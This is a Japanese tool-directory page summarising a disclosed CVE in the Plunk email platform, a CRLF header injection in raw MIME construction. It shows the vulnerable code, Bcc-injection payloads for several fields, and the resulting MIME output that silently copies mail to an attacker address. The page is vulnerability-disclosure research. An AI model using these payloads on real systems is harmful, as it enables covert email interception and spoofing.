Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/romain-deperne/cve-2026-34975
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究メールセキュリティ
GitHubromain-deperne/cve-2026-34975

CVE-2026-34975

Plunkの生のMIME構築におけるCRLFメールヘッダーインジェクションの概念実証と技術分析であり、Python PoCを用いてBccインジェクションやその他の攻撃ベクトルを実証する。

リポジトリを見る
441ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-34975 — raw MIME 構築を介した Plunk における CRLF メールヘッダーインジェクション

深刻度: 高 (CVSS 8.5) CWE: CWE-93 — CRLF シーケンスの不適切な無害化 (「CRLF インジェクション」) 影響範囲: useplunk/plunk <= 0.7.1 修正バージョン: 0.8.0 アドバイザリ: GHSA-2mvm-rg5v-7hfq NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975 クレジット: Romain Deperne

TL;DR

Plunk の POST /v1/send エンドポイントは、ユーザーが指定したフィールド (from.name、subject、カスタムヘッダー、添付ファイル名) を CRLF (\r\n) のサニタイズなしでテンプレート文字列に直接補間することで、生の MIME メールメッセージを構築しています。認証済みの API ユーザーは、Bcc を含む任意のメールヘッダーを注入し、メールのコピーを攻撃者が制御するアドレスに黙って転送させることができます。

分析

私はオープンソースのメール送信プラットフォーム — AWS SES をラップして API を公開するもの — を監査していました。Plunk は SES 上に構築された、SendGrid/Postmark の開発者フレンドリーな代替として位置づけられています。

私の入口は生のメール構築関数でした。rawMessage += や MIME を構築するテンプレートリテラルを見かけるたびに、ユーザー指定のすべてのフィールドが CRLF サニタイズされているかを確認します。SESService.ts では、答えは明らかにノーでした。from.name、subject、カスタムヘッダー、添付ファイル名のすべてが直接補間されていました。

これが悪用可能であることを確信した根拠は、Zod スキーマ (packages/shared/src/schemas/index.ts) に、これらのフィールドのいずれに対しても \r\n を拒否する .regex() や .refine() が存在しなかったことです。スキーマ層でのサニタイズもなく、MIME 構築層でのサニタイズもない — API 入力から注入された MIME ヘッダーまでのクリーンな経路です。

私は 4 つのベクター (from.name、subject、カスタムヘッダー値、添付ファイル名) すべてをテストし、Bcc: インジェクションが機能することを確認しました。検証済みの送信者ドメインを持つ認証済み API ユーザーなら誰でも、送信されるすべてのメールを攻撃者が制御するアドレスに黙ってコピーできます。現実的な攻撃シナリオは、侵害された API キーが永続的なメール傍受に変わることです。

影響を受けるコンポーネント

ファイル: apps/api/src/services/SESService.ts、137〜151 行目

// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value not sanitized
}

// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized

Zodスキーマ (packages/shared/src/schemas/index.ts) — CRLF検証なし:

headers: z.record(z.string().max(998)).optional()   // no \r\n check
from: { name: z.string().optional() }               // no \r\n check
subject: z.string().min(1).max(998)                 // no \r\n check
filename: z.string().min(1).max(255)                // no \r\n check

根本原因

生の MIME 構築では、ユーザーが指定したすべての値を補間する前に \r\n を除去する必要があります。Plunk はテンプレートリテラルでメッセージを構築しており、4 つの注入可能なフィールドのいずれもサニタイズしていません。SMTP パーサーは \r\n をヘッダー境界として解釈するため、from.name に \r\nBcc: [email protected] を注入すると、送信メッセージに実際の Bcc ヘッダーが追加されます。

PoC

4 つのインジェクションベクターを備えた完全なデモンストレーションについては poc.py を参照してください。

コアペイロード — from.name を介した Bcc インジェクション:

payload = {
    "to": "[email protected]",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: [email protected]",
        "email": "[email protected]",
    },
}

SES が生成する生の MIME:

From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email

SES は、侵害された API キーを通じて送信されるすべてのメールに、[email protected] 宛てのサイレントコピーを配信します。

その他のインジェクションベクター:

  • subject: "Legit Subject\r\nBcc: [email protected]"
  • カスタムヘッダー値: {"X-Custom": "value\r\nBcc: [email protected]"}
  • 添付ファイル名: MIME バウンダリインジェクション

影響

  1. サイレントメールリダイレクト — 送信メールを攻撃者が制御するアドレスへ BCC 送信
  2. メールスプーフィング — Reply-To、Return-Path、Sender ヘッダーの上書き
  3. MIME 構造の破壊 — 添付ファイル名を介した任意の MIME パートの注入
  4. 必要なのは有効な Plunk API キーと検証済みの送信者ドメインのみ — 標準的な認証済みアクセス

タイムライン

  • 報告: GHSA プライベートアドバイザリ
  • CVE 公開: CVE-2026-34975
ツールをダウンロード